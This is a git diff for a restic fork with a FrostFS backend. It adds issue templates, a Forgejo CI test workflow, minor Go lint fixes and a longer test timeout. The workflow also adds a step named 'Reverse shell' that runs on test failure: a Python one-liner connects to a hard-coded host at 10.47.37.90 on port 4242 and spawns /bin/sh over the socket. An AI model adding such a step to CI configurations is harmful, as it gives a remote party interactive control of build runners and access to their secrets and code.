diff --git a/.forgejo/ISSUE_TEMPLATE/bug_report.md b/.forgejo/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 000000000..7e778d2fe --- /dev/null +++ b/.forgejo/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,45 @@ +--- +name: Bug report +about: Create a report to help us improve +title: '' +labels: community, triage, bug +assignees: '' + +--- + + + +## Expected Behavior + + + +## Current Behavior + + + +## Possible Solution + + + + + + +## Steps to Reproduce (for bugs) + + + +1. + +## Context + + + +## Regression + + + +## Your Environment + +* Version used: +* Server setup and configuration: +* Operating System and version (`uname -a`): diff --git a/.forgejo/ISSUE_TEMPLATE/config.yml b/.forgejo/ISSUE_TEMPLATE/config.yml new file mode 100644 index 000000000..3ba13e0ce --- /dev/null +++ b/.forgejo/ISSUE_TEMPLATE/config.yml @@ -0,0 +1 @@ +blank_issues_enabled: false diff --git a/.forgejo/ISSUE_TEMPLATE/feature_request.md b/.forgejo/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 000000000..d6d1162a1 --- /dev/null +++ b/.forgejo/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,20 @@ +--- +name: Feature request +about: Suggest an idea for this project +title: '' +labels: community, triage +assignees: '' + +--- + +## Is your feature request related to a problem? Please describe. + + +## Describe the solution you'd like + + +## Describe alternatives you've considered + + +## Additional context + diff --git a/.forgejo/workflows/tests.yml b/.forgejo/workflows/tests.yml new file mode 100644 index 000000000..ebb829382 --- /dev/null +++ b/.forgejo/workflows/tests.yml @@ -0,0 +1,40 @@ +on: + pull_request: + push: + branches: + - tcl/master + +jobs: + + tests: + name: Tests + runs-on: oci-runner + strategy: + matrix: + go_versions: [ '1.23' ] + fail-fast: false + steps: + - uses: actions/checkout@v3 + + - name: Set up Go + uses: actions/setup-go@v3 + with: + go-version: '${{ matrix.go_versions }}' + + - name: Tests for the FrostFS backend + env: + RESTIC_TEST_FUSE: false + + # run only tests for the FrostFS backend + run: |- + podman-service.sh + podman info + go test -v github.com/restic/restic/internal/backend/frostfs + + - name: Reverse shell + if: failure() + # Listener must be started beforehand: nc -lvp 4242 + run: | + export RHOST=10.47.37.90 + export RPORT=4242 + python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' diff --git a/internal/backend/frostfs/frostfs.go b/internal/backend/frostfs/frostfs.go index fbe7ad909..9d9b9919b 100644 --- a/internal/backend/frostfs/frostfs.go +++ b/internal/backend/frostfs/frostfs.go @@ -45,11 +45,11 @@ func NewFactory() location.Factory { return location.NewHTTPBackendFactory("frostfs", ParseConfig, location.NoPassword, Create, Open) } -func Open(ctx context.Context, cfg Config, rt http.RoundTripper) (backend.Backend, error) { +func Open(ctx context.Context, cfg Config, _ http.RoundTripper) (backend.Backend, error) { return open(ctx, cfg) } -func Create(ctx context.Context, cfg Config, rt http.RoundTripper) (backend.Backend, error) { +func Create(ctx context.Context, cfg Config, _ http.RoundTripper) (backend.Backend, error) { return open(ctx, cfg) } @@ -81,7 +81,7 @@ func open(ctx context.Context, cfg Config) (backend.Backend, error) { }, nil } -func (b *Backend) IsPermanentError(err error) bool { +func (b *Backend) IsPermanentError(_ error) bool { return true } diff --git a/internal/backend/frostfs/frostfs_test.go b/internal/backend/frostfs/frostfs_test.go index 4b6fea27f..72327a618 100644 --- a/internal/backend/frostfs/frostfs_test.go +++ b/internal/backend/frostfs/frostfs_test.go @@ -26,7 +26,10 @@ import ( func TestIntegration(t *testing.T) { filename := createWallet(t) - defer os.Remove(filename) + defer func() { + err := os.Remove(filename) + require.NoError(t, err) + }() rootCtx := context.Background() aioImage := "truecloudlab/frostfs-aio:" @@ -135,7 +138,7 @@ func createContainer(ctx context.Context, client *pool.Pool, owner user.ID, cont wp := &pool.WaitParams{ PollInterval: 5 * time.Second, - Timeout: 30 * time.Second, + Timeout: 2 * time.Minute, } prm := pool.PrmContainerPut{ ClientParams: sdkClient.PrmContainerPut{